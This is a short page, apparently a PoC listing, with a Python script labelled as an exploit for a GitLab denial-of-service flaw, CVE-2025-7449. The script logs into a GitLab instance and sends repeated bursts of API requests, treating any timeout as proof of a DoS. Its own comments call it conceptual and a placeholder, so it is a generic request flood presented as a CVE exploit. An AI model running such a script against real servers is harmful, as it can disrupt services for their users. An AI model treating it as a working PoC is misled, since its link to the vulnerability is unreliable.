CVE-2025-7449 GitLab HTTP响应处理拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-7449 PoC - GitLab HTTP Response Processing DoS Note: This is a conceptual PoC based on the vulnerability description. The actual exploitation requires further investigation. """ import requests import argparse import sys def exploit_gitlab_dos(target_url, username, password): """ Attempt to trigger the HTTP response processing DoS vulnerability """ session = requests.Session() # Login to GitLab login_url = f"{target_url}/users/sign_in" print(f"[*] Logging in to GitLab at {target_url}") try: # Get login page to extract authenticity token response = session.get(login_url, timeout=10) # Extract CSRF token (authenticity_token) from bs4 import BeautifulSoup soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': 'authenticity_token'}) if not token_input: print("[-] Failed to find authenticity token") return False authenticity_token = token_input.get('value') # Perform login login_data = { 'authenticity_token': authenticity_token, 'user[login]': username, 'user[password]': password } login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Attempt to trigger the DoS condition through HTTP response processing # This is a placeholder - actual PoC requires more specific analysis print("[*] Attempting to trigger HTTP response processing vulnerability...") # Example endpoints that might be vulnerable vulnerable_endpoints = [ '/api/v4/projects', '/api/v4/users', '/api/v4/groups' ] for endpoint in vulnerable_endpoints: try: # Send multiple requests to trigger the vulnerability for i in range(100): response = session.get(f"{target_url}{endpoint}", timeout=5) if response.status_code == 200: print(f"[*] Request {i+1} to {endpoint} successful") except requests.exceptions.Timeout: print(f"[!] Timeout detected on {endpoint} - possible DoS condition") return True except Exception as e: print(f"[-] Error: {e}") print("[*] PoC execution completed") print("[!] Note: This is a basic PoC. Actual exploitation requires further analysis.") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-7449 GitLab DoS PoC') parser.add_argument('-t', '--target', required=True, help='GitLab target URL') parser.add_argument('-u', '--username', required=True, help='GitLab username') parser.add_argument('-p', '--password', required=True, help='GitLab password') args = parser.parse_args() exploit_gitlab_dos(args.target, args.username, args.password)